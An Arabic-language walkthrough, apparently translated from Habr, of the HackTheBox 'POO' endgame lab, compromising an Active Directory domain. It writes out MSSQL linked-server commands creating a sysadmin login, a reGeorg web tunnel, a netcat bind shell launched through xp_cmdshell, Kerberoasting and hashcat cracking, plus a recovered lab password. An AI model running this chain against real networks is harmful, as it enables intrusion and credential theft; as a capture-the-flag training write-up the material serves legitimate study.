لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

في هذه المقالة ، سنقوم بتحليل مرور ليس مجرد آلة ، ولكن معمل صغير كامل من الموقع هاكذا بوكس.

كما هو مذكور في الوصف ، تم تصميم POO لاختبار المهارات في جميع مراحل الهجمات في بيئة Active Directory صغيرة. الهدف هو اختراق مضيف متاح ، وتصعيد الامتيازات ، وفي النهاية اختراق النطاق بأكمله من خلال جمع 5 علامات في هذه العملية.

الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من جهاز كمبيوتر يعمل أو من مضيف توجد به بيانات مهمة بالنسبة لك ، لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات 🙂

المعلومات التنظيمية
حتى تتمكن من التعرف على المقالات الجديدة والبرامج والمعلومات الأخرى التي قمت بإنشائها قناة في Telegram и مجموعة لمناقشة أي قضايا في منطقة IIKB. وكذلك طلباتك وأسئلتك واقتراحاتك وتوصياتك الشخصية سألقي نظرة والرد على الجميع..

يتم توفير جميع المعلومات لأغراض تعليمية فقط. لا يتحمل مؤلف هذا المستند أي مسؤولية عن أي ضرر يلحق بأي شخص نتيجة لاستخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذه الوثيقة.

مقدمة

تتكون لعبة النهاية هذه من جهازين وتحتوي على 5 أعلام.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

يتم أيضًا تقديم وصف وعنوان المضيف المتاح.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لنبدأ!

علم ريكون

هذا الجهاز لديه عنوان IP 10.13.38.11 الذي أقوم بإضافته إلى / etc / hosts.
10.13.38.11 poo.htb

الخطوة الأولى هي فحص المنافذ المفتوحة. نظرًا لأن مسح جميع المنافذ باستخدام nmap يستغرق وقتًا طويلاً ، فسوف أقوم بذلك أولاً باستخدام masscan. نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، دعنا نجري فحصًا باستخدام الخيار -A.

nmap -A poo.htb -p80,1433

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

وبالتالي ، لدينا خدمات IIS و MSSQL. في هذه الحالة ، سنكتشف اسم DNS الحقيقي للمجال والكمبيوتر. على خادم الويب ، يتم الترحيب بنا من خلال صفحة IIS الرئيسية.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

دعونا نكرر على الدلائل. أنا استخدم gobuster لهذا الغرض. في المعلمات نحدد عدد التدفقات 128 (-t) ، URL (-u) ، القاموس (-w) والإضافات التي تهمنا (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

وبالتالي ، لدينا مصادقة HTTP للدليل / admin ، وكذلك يتوفر ملف تخزين خدمة سطح المكتب DS_Store. DS_Store هي الملفات التي تخزن إعدادات المستخدم لمجلد ، مثل قائمة الملفات وموقع الرمز وصورة الخلفية المحددة. قد ينتهي الأمر بمثل هذا الملف في دليل خادم الويب لمطوري الويب. وبالتالي ، نحصل على معلومات حول محتويات الدليل. لهذا يمكنك استخدام زاحف DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

نحصل على محتويات الدليل. الشيء الأكثر إثارة للاهتمام هنا هو دليل / dev ، والذي يمكننا من خلاله رؤية المصادر وملفات db في فرعين. ولكن يمكننا استخدام الأحرف الستة الأولى من أسماء الملفات والدليل إذا كانت الخدمة عرضة لـ IIS ShortName. يمكنك التحقق من هذه الثغرة الأمنية باستخدام الماسح الضوئي للاسم المختصر لـ IIS.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

ونجد ملفًا نصيًا واحدًا يبدأ بـ "poo_co". لا أعرف ماذا أفعل بعد ذلك ، لقد اخترت ببساطة من قاموس الدلائل جميع الكلمات التي تبدأ بـ "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

وكرر مع wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

والعثور على الكلمة الصحيحة! ننظر إلى هذا الملف ، ونحفظ بيانات الاعتماد (وفقًا لمعامل DBNAME ، فهي من MSSQL).

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

نسلم العلم ونتقدم بنسبة 20٪.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

هاه العلم

نحن نتصل بـ MSSQL ، وأستخدم DBeaver.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لا نجد أي شيء مثير للاهتمام في قاعدة البيانات هذه ، فلنقم بإنشاء محرر SQL والتحقق من المستخدمين.

SELECT name FROM master..syslogins;

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لدينا مستخدمان. دعنا نتحقق من امتيازاتنا.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

وبالتالي ، لا توجد امتيازات. دعونا نرى الخوادم المرتبطة ، كتبت عن هذه التقنية بالتفصيل هنا.

SELECT * FROM master..sysservers;

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لذلك نجد خادم SQL آخر. دعنا نتحقق من تنفيذ الأوامر على هذا الخادم باستخدام openquery ().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

ويمكننا أيضًا إنشاء شجرة استعلام.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

الحقيقة هي أنه عند تقديم طلب إلى خادم مرتبط ، يتم تنفيذ الطلب في سياق مستخدم آخر! دعونا نرى ما هو سياق المستخدم الذي نقوم بتشغيله على الخادم المرتبط.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

والآن دعونا نرى في أي سياق يتم تنفيذ الطلب من الخادم المرتبط بخادمنا!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

وبالتالي ، فإن سياق DBO يجب أن يتمتع بجميع الامتيازات. دعنا نتحقق من الامتيازات في حالة وجود طلب من خادم مرتبط.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

كما ترى ، لدينا كل الامتيازات! لنقم بإنشاء مشرفنا مثل هذا. لكنهم لا يسمحون لهم بالاطلاع على الأسئلة المفتوحة ، فلنقم بذلك من خلال EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

والآن نتواصل مع بيانات اعتماد المستخدم الجديد ، ونلاحظ قاعدة بيانات العلم الجديدة.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

نسلم هذا العلم ونذهب أبعد من ذلك.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

علم التراجع

دعنا نحصل على الصدفة باستخدام MSSQL ، أنا أستخدم mssqlclient من الحزمة impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

نحتاج إلى الحصول على كلمات مرور ، وأول شيء قابلناه بالفعل هو الموقع. وبالتالي ، نحتاج إلى تهيئة خادم الويب (من المستحيل وضع غلاف مناسب ، ويبدو أن جدار الحماية يعمل).

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لكن الوصول مرفوض. على الرغم من أنه يمكننا قراءة الملف من MSSQL ، إلا أننا نحتاج فقط إلى معرفة لغات البرمجة التي تم تكوينها. وفي دليل MSSQL نكتشف أن هناك لغة Python.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

ثم لا توجد مشكلة في قراءة ملف web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

بعد العثور على بيانات الاعتماد ، انتقل إلى / admin واختر العلامة.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

موطئ قدم العلم

في الواقع ، هناك بعض المضايقات من استخدام جدار الحماية ، ولكن بالنظر إلى إعدادات الشبكة ، نلاحظ أن بروتوكول IPv6 يستخدم أيضًا!

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

أضف هذا العنوان إلى / etc / hosts.
dead:babe::1001 poo6.htb
دعنا نفحص المضيف مرة أخرى ، ولكن هذه المرة عبر IPv6.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

وتتوفر خدمة WinRM عبر IPv6. دعنا نتواصل مع أوراق الاعتماد التي تم العثور عليها.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

هناك علم على سطح المكتب ، قم بتسليمه.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

علم P00ned

بعد الاستطلاع على المضيف مع وينبيز لا نجد أي شيء مميز. ثم تقرر البحث عن أوراق الاعتماد مرة أخرى (كتبت أيضًا حول هذا الموضوع статью). لكن لم أتمكن من الحصول على جميع SPNs من النظام عبر WinRM.

setspn.exe -T intranet.poo -Q */*

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

دعنا ننفذ الأمر عبر MSSQL.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

بهذه الطريقة ، نحصل على SPN للمستخدمين p00_hr و p00_adm ، مما يعني أنهم عرضة لهجوم مثل Kerberoasting. باختصار ، يمكننا الحصول على تجزئات كلمات المرور الخاصة بهم.

تحتاج أولاً إلى الحصول على غلاف ثابت نيابة عن مستخدم MSSQL. ولكن نظرًا لأننا مقيدون في الوصول ، فلدينا اتصال بالمضيف فقط من خلال المنفذين 80 و 1433. لكن من الممكن المرور عبر نفق عبر المنفذ 80! لهذا نستخدمها التطبيق التالي. لنقم بتحميل ملف tunnel.aspx إلى الدليل الرئيسي لخادم الويب - C: inetpubwwwroot.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

ولكن عندما نحاول الوصول إليه ، حصلنا على خطأ 404. هذا يعني أن ملفات * .aspx لم يتم تنفيذها. لتشغيل الملفات التي تحتوي على هذه الملحقات ، قم بتثبيت ASP.NET 4.5 على النحو التالي.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

والآن ، عند الوصول إلى tunnel.aspx ، نحصل على الإجابة بأن كل شيء جاهز للعمل.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لنبدأ جزء العميل من التطبيق ، والذي سينقل حركة المرور. سنقوم بإعادة توجيه كل حركة المرور من المنفذ 5432 إلى الخادم.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

ونستخدم سلاسل البروكسي لإرسال حركة مرور أي تطبيق عبر وكيلنا. دعنا نضيف هذا الوكيل إلى ملف التكوين /etc/proxychains.conf.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لنقم الآن بتحميل البرنامج على الخادم أداة netcat، والتي سنقوم من خلالها بإنشاء غلاف ربط ثابت ، والبرنامج النصي استدعاء Kerberoast، والتي سنقوم بها بتنفيذ هجوم Kerberoasting.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

الآن ، من خلال MSSQL ، أطلقنا المستمع.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

ونحن نتواصل من خلال وكيلنا.

proxychains rlwrap nc poo.htb 4321

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

ودعنا نحصل على التجزئة.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

بعد ذلك ، تحتاج إلى تكرار هذه التجزئة. نظرًا لأن rockyou لم يكن لديك قاموس بيانات كلمة المرور ، فقد استخدمت جميع قواميس كلمات المرور المتوفرة في قوائم Seclists. للعدد نستخدم الهاشكات.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

ونجد كلتا كلمتي المرور ، الأولى في قاموس dutch_passwordlist.txt ، والثانية في Keyboard-Combinations.txt.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

ولذا لدينا ثلاثة مستخدمين ، نذهب إلى وحدة التحكم بالمجال. دعنا نتعرف على عنوانه أولاً.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

رائع ، لقد تعلمنا عنوان IP لوحدة التحكم بالمجال. دعنا نتعرف على جميع مستخدمي المجال ، بالإضافة إلى أي منهم مسؤول. لتنزيل البرنامج النصي للحصول على معلومات PowerView.ps1. ثم سنقوم بالاتصال باستخدام evil-winrm ، وتحديد الدليل بالبرنامج النصي في المعلمة -s. وبعد ذلك فقط قم بتحميل البرنامج النصي PowerView.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

الآن لدينا حق الوصول إلى جميع وظائفه. يبدو المستخدم p00_adm كمستخدم ذي امتياز ، لذلك سنعمل في سياقه. لنقم بإنشاء كائن PSCredential لهذا المستخدم.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

الآن سيتم تنفيذ جميع أوامر Powershell حيث نحدد Creds نيابة عن p00_adm. دعنا نعرض قائمة المستخدمين وسمة AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

وهكذا ، فإن مستخدمنا يتمتع بامتياز حقًا. دعونا نرى ما هي المجموعات التي ينتمي إليها.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

أخيرًا نؤكد أن المستخدم هو مسؤول المجال. هذا يمنحه الحق في تسجيل الدخول عن بعد إلى وحدة تحكم المجال. دعنا نحاول تسجيل الدخول باستخدام WinRM باستخدام النفق الخاص بنا. لقد كنت في حيرة من أمري بسبب الأخطاء التي أصدرتها reGeorg عند استخدام evil-winrm.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

ثم نستخدم طريقة أخرى أسهل ، النصي للاتصال بـ WinRM. فتح وتغيير معلمات الاتصال.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

نحاول الاتصال ونحن في النظام.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

لكن لا يوجد علم. ثم انظر إلى المستخدم وتحقق من أجهزة سطح المكتب.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

في mr3ks نجد العلم والمختبر مكتمل بنسبة 100٪.

لعبة HackTheBoxend. مرور المختبر بالعمليات الهجومية الاحترافية. Pentest Active Directory

هذا كل شئ. كتعليقات ، قم بالتعليق على ما إذا كنت قد تعلمت شيئًا جديدًا من هذه المقالة وما إذا كان مفيدًا لك.

يمكنك الانضمام إلينا في تیلیجرام. هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، وكذلك برامج. دعنا نجمع المجتمع الذي سيكون فيه أشخاص يفهمون العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي مشكلات تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

المصدر: www.habr.com

إضافة تعليق